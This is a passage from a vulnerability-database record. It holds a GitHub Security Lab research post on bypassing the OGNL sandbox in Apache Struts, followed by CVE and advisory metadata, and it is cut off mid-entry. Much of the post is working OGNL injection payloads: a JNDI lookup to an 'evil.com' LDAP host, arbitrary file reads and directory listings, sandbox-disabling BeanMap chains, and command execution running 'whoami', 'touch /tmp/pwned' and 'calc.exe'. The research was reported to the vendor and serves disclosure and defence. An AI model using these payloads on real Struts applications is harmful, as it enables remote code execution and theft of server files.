the issue accepted as a remote code execution in the bounty program. However, despite having achieved RCE, there were a few unsolved questions:\n\n * Why was this `.freemarker.TemplateModel` object available?\n * Are there any other ways to get RCE on the latest Struts versions?\n\n### Post-invocations Context[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#post-invocations-context>)\n\nAttackers are limited to the objects they are able to access. Normally, OGNL injections take place before the action invocation completes and the action\u2019s `Result` is rendered.\n\nhttps://struts.apache.org/core-developers/attachments/Struts2-Architecture.png\n\nWhen grepping the Struts\u2019s source code for `.freemarker.TemplateModel`, I found out that there are plenty of new objects added to the request scope when preparing the action\u2019s `Result` in order to share them with the view layer (JSP, FreeMarker or Velocity) and `.freemarker.TemplateModel` was [one of them](<https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/core/src/main/java/org/apache/struts2/views/freemarker/FreemarkerManager.java#L122>). However, those objects are only added after the `ActionInvocation` has been invoked. This implies that if I find `.freemarker.TemplateModel` on the request scope, my injection was evaluated after the action invocation finished building the action\u2019s `Result` object and, therefore, my injection probably did not take place as part of the Struts code but as a [double evaluation in the FreeMarker template](<https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>).\n\nThese new objects will offer new ways to get remote code execution, but only if you are lucky to get your injection evaluated after the action\u2019s `Result` has been built. Or not? \n\nIt turned out that the ongoing `ActionInvocation` object can be accessed through the OGNL context and, therefore, we can use it to force the building of the `Result` object in advance. Calling the `Result`s `doExecute()` method will trigger the population of the so-called template model. For example, for Freemarker, `ActionInvocation.createResult()` will create a `FreemarkerResult` instance. Calling its `doExecute()` method will, in turn, call its `[createModel()](<https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/core/src/main/java/org/apache/struts2/views/freemarker/FreemarkerResult.java#L273>)` method that will populate the template model.\n \n \n \n (#ai=#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'])+\n \n (#ai.setResultCode(\"success\"))+\n \n (#r=#ai.createResult())+\n \n (#r.doExecute(\"pages/test.ftl\",#ai))\n \n \n\nExecuting the above payload will populate the request context with new objects. However, that requires us to know the result code and the template\u2019s path. Fortunately, we can also invoke the `ActionInvocation.invoke()` method that will take care of everything for us!\n \n \n \n #attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke()\n \n \n\nThe line above will result in the template model being populated and stored in the request, and context scopes regardless of where your injection takes place.\n\n### Wild objects appeared[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#wild-objects-appeared>)\n\nAfter the invocation, the request scope and value stack will be populated with additional objects. These objects vary depending on the view layer used. What follows is a list of the most interesting ones (skipping most of them which do not lead to RCE):\n\nFor Freemarker:\n\n * `.freemarker.Request` (`freemarker.ext.servlet.HttpRequestHashModel`)\n * `.freemarker.TemplateModel` (`org.apache.struts2.views.freemarker.ScopesHashModel`) \n * `__FreeMarkerServlet.Application__` (`freemarker.ext.servlet.ServletContextHashModel`) \n * `JspTaglibs` (`freemarker.ext.jsp.TaglibFactory`)\n * `.freemarker.RequestParameters` (`freemarker.ext.servlet.HttpRequestParametersHashModel`)\n * `.freemarker.Request` (`freemarker.ext.servlet.HttpRequestHashModel`)\n * `.freemarker.Application` (`freemarker.ext.servlet.ServletContextHashModel`) \n * `.freemarker.JspTaglibs` (`freemarker.ext.jsp.TaglibFactory`) \n * `ognl` (`org.apache.struts2.views.jsp.ui.OgnlTool`) \n * `stack` (`com.opensymphony.xwork2.ognl.OgnlValueStack`) \n * `struts` (`org.apache.struts2.util.StrutsUtil`) \n\nFor JSPs:\n\n * `com.opensymphony.xwork2.dispatcher.PageContext` (`PageContextImpl`)\n\nFor Velocity:\n\n * `.KEY_velocity.struts2.context` -> (`StrutsVelocityContext`) \n * `ognl` (`org.apache.struts2.views.jsp.ui.OgnlTool`)\n * `struts` (`org.apache.struts2.views.velocity.result.VelocityStrutsUtils`)\n\n### Getting RCE with new objects[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#getting-rce-with-new-objects>)\n\nAnd now let\u2019s have some fun with these new objects! In the following section I will explain how I was able to leverage some of these objects to get remote code execution.\n\n#### ObjectWrapper[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#objectwrapper>)\n\nThere may be different ways to get an instance of a FreeMarker\u2019s `ObjectWrapper`, even if the application is not using FreeMarker as its view layer because Struts uses it internally for rendering JSP tags. A few of them are listed below:\n\n * Through `freemarker.ext.jsp.TaglibFactory.getObjectWrapper()`. Even though Struts\u2019 sandbox forbids access to `freemarker.ext.jsp` package, we can still access it using a BeanMap:\n \n \n \n (#a=#@org.apache.commons.collections.BeanMap@{ })+\n \n (#a.setBean(#application[\".freemarker.JspTaglibs\"]))+\n \n (#a['objectWrapper'])\n \n \n\n * Through `freemarker.ext.servlet.HttpRequestHashModel.getObjectWrapper()`:\n \n \n \n (#request.get('.freemarker.Request').objectWrapper)\n \n \n\n * Through `freemarker.core.Configurable.getObjectWrapper()`. We need to use the BeanMap trick to access it since `freemarker.core` is also blocklisted:\n \n \n \n (#a=#@org.apache.commons.collections.BeanMap@{ })+\n \n (#a.setBean(#application['freemarker.Configuration']))+\n \n #a['objectWrapper']\n \n \n\nNow for the fun part, what can we do with an `ObjectWrapper`? There are three interesting methods we can leverage to get RCE:\n\n**`newInstance(class, args)`**\n\nThis method will allow us to instantiate an arbitrary type. Arguments must be wrapped, but the return value is not. For example, we can trigger a JNDI injection lookup:\n \n \n \n objectWrapper.newInstance(@javax.naming.InitialContext@class,null).lookup(\"ldap://evil.com\")\n \n \n\nOr, if Spring libs are available, we can get RCE by supplying a malicious [XML config](<https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml>) for `FileSystemXmlApplicationContext` constructor:\n \n \n \n objectWrapper.newInstance(@org.springframework.context.support.FileSystemXmlApplicationContext@class,{#request.get('.freemarker.Request').objectWrapper.wrap(\"URL\")})\n \n \n\n`**getStaticModels()`**\n\nThis method allows us to get static fields from arbitrary types. The return object is wrapped in a FreeMarker\u2019s `TemplateModel` so we need to unwrap it. An example payload levering [Text4Shell](<https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/>):\n \n \n \n objectWrapper.staticModels.get(\"org.apache.commons.text.lookup.StringLookupFactory\").get(\"INSTANCE\").getWrappedObject().scriptStringLookup().lookup(\"javascript:3+4\")\n \n \n\n`**wrapAsAPI()`**\n\nThis method allows us to wrap any object with a `freemarker.ext.beans.BeanModel` giving us indirect access to its getters and setters methods. Struts\u2019 sandbox will not have visibility on these calls and therefore they can be used to call any blocklisted method.\n\n * `BeanModel.get('field_name')` returns a `TemplateModel` wrapping the object.\n * `BeanModel.get('method_name')` returns either a `SimpleMethodModel` or `OverloadedMethodsModel` wrapping the method.\n\nWe can, therefore, call any blocklisted method with:\n \n \n \n objectWrapper.wrapAsAPI(blocked_object).get(blocked_method)\n \n \n\nThis call will return an instance of `TemplateMethodModelEx`. Its `[exec()](<https://freemarker.apache.org/docs/api/freemarker/template/TemplateMethodModelEx.html#exec-java.util.List->)` method is defined in the `freemarker.template` namespace and, therefore, trying to invoke this method will get blocked by the Struts sandbox. However, `TemplateMethodModelEx` is an interface and what we will really get is an instance of either `freemarker.ext.beans.SimpleMethodModel` or `freemarker.ext.beans.OverloadedMethodsModel`. Since the `exec()` methods on both of them are defined on the `freemarker.ext.beans` namespace, which is not blocklisted, their invocation will succeed. As we saw before, arguments need to be wrapped. As an example we can call the `File.createTempFile(\u201cPREFIX\u201d, \u201cSUFFIX\u201d)` using the following payload:\n \n \n \n objectWrapper.getStaticModels().get(\"java.io.File\").get(\"createTempFile\").exec({objectWrapper.wrap(\"PREFIX\"), objectWrapper.wrap(\"SUFFIX\")})\n \n \n\nWe can achieve the same by calling the `getAPI()` on any `freemarker.template.TemplateModelWithAPISupport` instance. Many of the FreeMarker exposed objects inherit from this interface and will allow us to wrap them with a `BeanModel`. For example, to list all the keys in the Struts Value Stack we can use:\n \n \n \n #request['.freemarker.TemplateModel'].get('stack').getAPI().get(\"context\").getAPI().get(\"keySet\").exec({})\n \n \n\nNote that `com.opensymphony.xwork2.util.OgnlContext.keySet()` would be blocked since it belongs to the `com.opensymphony.xwork2.util` namespace, but in this case, Struts\u2019 sandbox will only see calls to `TemplateHashModel.get()` and `TemplateModelWithAPISupport.getAPI()` which are both allowed.\n\nThe last payload will give us a complete list of all available objects in the Value Stack, many of which could be used for further attacks. Lets see a more interesting example by reading an arbitrary file using `BeanModel`s:\n \n \n \n (#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+\n \n (#f=#bw.newInstance(@java.io.File@class,{#bw.wrap(\"C:\\\\REDACTED\\\\WEB-INF\\\\web.xml\")}))+ \n \n (#p=#bw.wrapAsAPI(#f).get(\"toPath\").exec({}))+\n \n (#ba=#bw.getStaticModels().get(\"java.nio.file.Files\").get(\"readAllBytes\").exec({#bw.wrap(#p)}))+\n \n \"----\"+\n \n (#b64=#bw.getStaticModels().get(\"java.util.Base64\").get(\"getEncoder\").exec({}).getAPI().get(\"encodeToString\").exec({#bw.wrap(#ba)}))\n \n \n\nOr listing the contents of a directory:\n \n \n \n (#bw=#request.get('.freemarker.Request').objectWrapper).toString().substring(0,0)+\n \n (#dir=#bw.newInstance(@java.io.File@class,{#bw.wrap(\"C:\\\\REDACTED\\\\WEB-INF\\\\lib\")}))+ \n \n (#l=#bw.wrapAsAPI(#dir).get(\"listFiles\").exec({}).getWrappedObject())+\"---\"+\n \n (#l.{#this})\n \n \n\n#### OgnlTool/OgnlUtil[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#ognltool-ognlutil>)\n\nThe `org.apache.struts2.views.jsp.ui.OgnlTool` class was calling `Ognl.getValue()` with no `OgnlContext` and even though the Ognl library will take care of creating a default one, it will not include all the additional security checks added by the Struts framework and is easily bypassable:\n \n \n \n package org.apache.struts2.views.jsp.ui;\n \n import ognl.Ognl;\n \n import ognl.OgnlException;\n \n import com.opensymphony.xwork2.inject.Inject;\n \n public class OgnlTool {\n \n private OgnlUtil ognlUtil;\n \n public OgnlTool() { }\n \n \n \n @Inject\n \n public void setOgnlUtil(OgnlUtil ognlUtil) {\n \n this.ognlUtil = ognlUtil;\n \n }\n \n \n \n public Object findValue(String expr, Object context) {\n \n try {\n \n return Ognl.getValue(ognlUtil.compile(expr), context);\n \n } catch (OgnlException e) {\n \n return null;\n \n }\n \n }\n \n }\n \n \n\nWe can get an instance of `OgnlTool` from both FreeMarker and Velocity post-invocation contexts:\n \n \n \n #request['.freemarker.TemplateModel'].get('ognl')\n \n \n\nOr\n \n \n \n #request['.KEY_velocity.struts2.context'].internalGet('ognl')\n \n \n\nFor FreeMarker\u2019s case, it will come up wrapped with a Template model but we can just unwrap it and use it to get RCE:\n \n \n \n (#a=#request.get('.freemarker.Request').objectWrapper.unwrap(#request['.freemarker.TemplateModel'].get('ognl'),'org.apache.struts2.views.jsp.ui.OgnlTool'))+\n \n (#a.findValue('(new freemarker.template.utility.Execute()).exec({\"whoami\"})',null))\n \n \n\nOr, even simpler:\n \n \n \n #request['.freemarker.TemplateModel'].get('ognl').getWrappedObject().findValue('(new freemarker.template.utility.Execute()).exec({\"whoami\"})',{})\n \n \n\n`OgnlTool` was [inadvertently fixed](<https://github.com/apache/struts/commit/5cd409d382e00b190bfe4e957c4167d06b8f9da1#diff-55821720c975d84350d796bec09aa366cc2b2861fb7e12f223cc5a4453b55640>) when Struts 6.0.0 was released by upgrading to OGNL 3.2.2 which always requires a `MemberAccess`. But the latest Struts 2 version (2.5.30) is still vulnerable to this payload.\n\n#### StrutsUtil[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#strutsutil>)\n\nAnother object that can be accessed in the post-invocation context is an instance of `org.apache.struts2.util.StrutsUtil`. There are plenty of interesting methods in here:\n\n * `public String include(Object aName)` can be used to read arbitrary resources \n * `<struts_utils>.include(\"/WEB-INF/web.xml\")`\n * `public Object bean(Object aName)` can be used to instantiate arbitrary types: \n * `<struts_utils>.bean(\"javax.script.ScriptEngineManager\")`\n * `public List makeSelectList(String selectedList, String list, String listKey, String listValue)`\n * `listKey` and `listValue` are evaluated with OgnlTool and therefore in an unsandboxed context\n * `<struts_utils>.makeSelectList(\"#this\",\"{'foo'}\",\"(new freemarker.template.utility.Execute()).exec({'touch /tmp/bbbb'})\",\"\")`\n\nOn applications using Velocity as its view layer, this object will be an instance of `VelocityStrutsUtil` which extends `StrutsUtils` and provides an additional vector:\n\n * `public String evaluate(String expression)` will allow us to evaluate a string containing a velocity template:\n \n \n \n (<struts_utils>.evaluate(\"#set ($cmd='java.lang.Runtime.getRuntime().exec(\\\"touch /tmp/pwned_velocity\\\")') $application['org.apache.tomcat.InstanceManager'].newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval($cmd)\"))\n \n \n\n#### JspApplicationContextImpl[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#jspapplicationcontextimpl>)\n\nThe last vector that I wanted to share is one that I found a few years ago and that I was not able to exploit\u2013although I was pretty sure that there had to be a way. New post-invocation discovered objects finally made this possible!\n\nIf you have inspected the Struts Servlet context (`#application`) in the past you probably saw an item with key `org.apache.jasper.runtime.JspApplicationContextImpl` which returned an instance of `org.apache.jasper.runtime.JspApplicationContextImpl`. This class contains a method called `getExpressionFactory()` that returns an Expression Factory that will expose a `createValueExpression()` method. This looks like a perfect place to create an EL expression and evaluate it. The problem was that `[createValueExpression](<https://docs.oracle.com/javaee/7/api/javax/el/ExpressionFactory.html#createValueExpression-javax.el.ELContext-java.lang.String-java.lang.Class->)` requires an instance of `ELContext` and we had none.\n\nFortunately, our post-invocation technique brought a new object into play. When using JSPs as the view layer, `#request['com.opensymphony.xwork2.dispatcher.PageContext']` will return an uninitialized `org.apache.jasper.runtime.PageContextImpl` instance that we can use to create an `ELContext` and evaluate arbitrary EL expressions:\n \n \n \n (#attr['com.opensymphony.xwork2.ActionContext.actionInvocation'].invoke())+\n \n (#ctx=#request['com.opensymphony.xwork2.dispatcher.PageContext'])+\n \n (#jsp=#application['org.apache.jasper.runtime.JspApplicationContextImpl'])+\n \n (#elctx=#jsp.createELContext(#ctx))+\n \n (#jsp.getExpressionFactory().createValueExpression(#elctx, '7*7', @java.lang.Class@class).getValue(#elctx))\n \n \n\nThe avid readers may be wondering why Struts stores the `PageContext` in the request. Well, turns out, it does not, but we can access it through chained contexts.\n\nWhen accessing `#attr` (`AttributeMap`), [we can indirectly look into multiple scopes](<https://struts.apache.org/maven/struts2-core/apidocs/org/apache/struts2/util/AttributeMap.html>) such as the Page, Request, Session and Application (Servlet). But there is more, `org.apache.struts2.dispatcher.StrutsRequestWrapper.getAttribute()` will look for the attribute in the `ServletRequest`, if it can't find it there, [it will search the value stack](<https://github.com/apache/struts/blob/master/core/src/main/java/org/apache/struts2/dispatcher/StrutsRequestWrapper.java#L94>)! So, we can effectively access the value stack through the `#request` or `#attr` variables.\n\nIn this case, the `PageContext` was not stored in the request scope, but in the Value stack, and we are able to access it through chained context searches.\n\nWe can even run arbitrary OGNL expressions as long as they don\u2019t contain any hashes (`#`), for example, `#request[\"@java.util.HashMap@class\"]` will return the `HashMap` class.\n\n### Leveling up the BeanMap payload[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#leveling-up-the-beanmap-payload>)\n\nYou may already be familiar with McOwn\u2019s [technique](<https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html>). He realized that it was possible to use [OGNL Map notation](<https://commons.apache.org/proper/commons-ognl/language-guide.html>) to instantiate an `org.apache.commons.collections.BeanMap` by using the `#@org.apache.commons.collections.BeanMap@{ }` syntax, and then it was possible to wrap any Java object on this map and access any getters and setters as map properties. His payload was based on the `org.apache.tomcat.InstanceManager` payload we introduced at [Black Hat 2020](<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>) and looked like:\n \n \n \n (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\n \n (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\n \n (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\n \n (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\n \n (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n \n (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\n \n (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))\n \n \n\nThe payload was basically disabling the OGNL sandbox and then accessing otherwise blocked classes such as `InstanceManager`. There is a simpler way to abuse BeanMaps that do not require to disable the sandbox and that is using reflection:\n \n \n \n (#c=#@org.apache.commons.beanutils.BeanMap@{})+\n \n (#c.setBean(@Runtime@class))+\n \n (#rt=#c['methods'][6].invoke())+\n \n (#c['methods'][12]).invoke(#rt,'touch /tmp/pwned')\n \n \n\nThis payload also works in Struts 6 if the `BeanClass` is available in the classpath (either from Apache Commons Collections or Apache Commons BeanUtils), but you need to specify the FQN (Fully Qualified Name) name for `Runtime`: `@java.lang.Runtime@class`.\n\n### Timeline[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#timeline>)\n\nThese bypasses were first reported to the Struts and OGNL security teams on June 9, 2022.\n\nOn October 7, 2022, the security team replied to us and stated that improving the block lists was not a sustainable solution, and, therefore, they decided to stop doing it. They highlighted that a [Java Security Manager can be configured](<https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable>) to protect every OGNL evaluation from these attacks and we highly recommend doing so if you are running a Struts application. However, bear in mind that the [Security Manager is deprecated](<https://openjdk.org/jeps/411>) and will soon get removed from the JDK.\n\n## That\u2019s a wrap[](<https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/#thats-a-wrap>)\n\nAt this point, you will have probably realized that sandboxing an expression language, such as OGNL, is a really difficult task, and may require maintaining a list of blocked classes and OGNL features even though that is not an optimal approach. In this blog post, we have reviewed a few ways in which these sandboxes can be bypassed. Although they are specific to OGNL, hopefully you have learned to explore sandbox controls\u2013and one or two new tricks\u2013that may apply to other sandboxes. In total, we were able to raise $5,600, which we donated to [UNHCR](<https://www.unhcr.org/>) to help provide refuge for Ukrainians seeking protection from the war.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-01-27T16:00:49", "type": "github", "title": "Bypassing OGNL sandboxes for fun and charities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-3087", "CVE-2016-4436", "CVE-2017-5638", "CVE-2018-11776", "CVE-2018-1327", "CVE-2020-17530", "CVE-2021-26084", "CVE-2022-26134"], "modified": "2023-01-27T13:33:03", "id": "GITHUB:0519EA92487B44F364A1B35C85049455", "href": "https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-12-06T15:38:43", "description": "Forced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-11T02:15:00", "type": "cve", "title": "CVE-2020-17530", "cwe": ["CWE-917"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-06-03T16:38:00", "cpe": ["cpe:/a:oracle:business_intelligence:12.2.1.4.0", "cpe:/a:oracle:financial_services_data_integration_hub:8.0.6", "cpe:/a:oracle:mysql_enterprise_monitor:8.0.23", "cpe:/a:oracle:communications_diameter_intelligence_hub:8.2.3", "cpe:/a:oracle:communications_diameter_intelligence_hub:8.0.0", "cpe:/a:oracle:financial_services_data_integration_hub:8.0.3", "cpe:/a:oracle:communications_policy_management:12.5.0", "cpe:/a:oracle:communications_diameter_intelligence_hub:8.1.0", "cpe:/a:oracle:hospitality_opera_5:5.6", "cpe:/a:oracle:business_intelligence:12.2.1.3.0", "cpe:/a:oracle:communications_pricing_design_center:12.0.0.3.0", "cpe:/a:oracle:communications_diameter_intelligence_hub:8.2.0"], "id": "CVE-2020-17530", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-17530", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:oracle:business_intelligence:12.2.1.4.0:*:*:*:enterprise:*:*:*", "cpe:2.3:a:oracle:financial_services_data_integration_hub:8.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:communications_diameter_intelligence_hub:8.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:communications_diameter_intelligence_hub:8.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:communications_diameter_intelligence_hub:8.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:communications_policy_management:12.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:financial_services_data_integration_hub:8.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:business_intelligence:12.2.1.3.0:*:*:*:enterprise:*:*:*", "cpe:2.3:a:oracle:communications_pricing_design_center:12.0.0.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:communications_diameter_intelligence_hub:8.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:hospitality_opera_5:5.6:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:mysql_enterprise_monitor:8.0.23:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-07T14:43:25", "description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-09-14T17:15:00", "type": "cve", "title": "CVE-2019-0230", "cwe": ["CWE-1321"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2023-11-07T03:01:00", "cpe": ["cpe:/a:oracle:mysql_enterprise_monitor:8.0.23", "cpe:/a:oracle:financial_services_data_integration_hub:8.0.6", "cpe:/a:apache:struts:2.5.20", "cpe:/a:oracle:communications_policy_management:12.5.0", "cpe:/a:oracle:financial_services_market_risk_measurement_and_management:8.0.6", "cpe:/a:oracle:financial_services_data_integration_hub:8.0.3"], "id": "CVE-2019-0230", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-0230", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:apache:struts:2.5.20:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:financial_services_data_integration_hub:8.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:mysql_enterprise_monitor:8.0.23:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:financial_services_data_integration_hub:8.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:financial_services_market_risk_measurement_and_management:8.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:oracle:communications_policy_management:12.5.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-12-06T15:14:48", "description": "The fix issued for CVE-2020-17530 was incomplete. So from Apache Struts 2.0.0 to 2.5.29, still some of the tag\u2019s attributes could perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax. Using forced OGNL evaluation on untrusted user input can lead to a Remote Code Execution and security degradation.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-12T16:15:00", "type": "cve", "title": "CVE-2021-31805", "cwe": ["CWE-917"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2021-31805"], "modified": "2022-07-25T18:15:00", "cpe": ["cpe:/a:apache:struts:2.5.29"], "id": "CVE-2021-31805", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-31805", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:apache:struts:2.5.29:*:*:*:*:*:*:*"]}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:36:00", "description": "A remote code execution vulnerability exists in Apache Struts. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-21T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts Remote Code Execution (CVE-2020-17530)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2020-12-21T00:00:00", "id": "CPAI-2020-1331", "href": "", "cvss": {"score": 7.5, 